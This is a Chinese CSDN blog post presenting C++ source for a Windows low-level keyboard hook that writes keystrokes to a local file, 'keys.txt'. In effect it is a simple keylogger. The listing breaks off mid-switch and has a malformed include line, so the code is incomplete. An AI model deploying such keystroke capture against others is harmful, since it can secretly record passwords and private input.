Windows下C++通过Hooks记录键盘敲击记录的代码

这篇博客介绍了如何在Windows环境下使用C++通过设置Hooks来捕获并记录键盘输入,详细展示了相关代码,包括定义键盘钩子回调函数以及WinMain函数的实现,最终将键盘敲击记录保存到'keys.txt'文件中。
摘要由CSDN通过智能技术生成

将写内容过程中比较好的内容备份一下,下边内容内容是关于Windows下C++通过Hooks记录键盘敲击记录的内容。

#define _WIN32_WINNT 0x0500

#include
#include<windows.h>

using namespace std;

ofstream out(“keys.txt”, ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam == WM_KEYDOWN) {
	switch (p->vkCode) {

		case VK_CAPITAL:	out << "<CAPLOCK>";		break;
		case VK_SHIFT:		out << "<SHIFT>";		break;
		case VK_LCONTROL:	out << "<LCTRL>";		break;
		case VK_RCONTROL:	out << "<RCTRL>";		break;
		case VK_INSERT:		out << "<INSERT>";		break;
		case VK_END:		out << "<END>";			break;
		case VK_PRINT:		out << "<PRINT>";		break;
		case VK_DELETE:		out << "<DEL>";			break;
		case VK_BACK:		
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值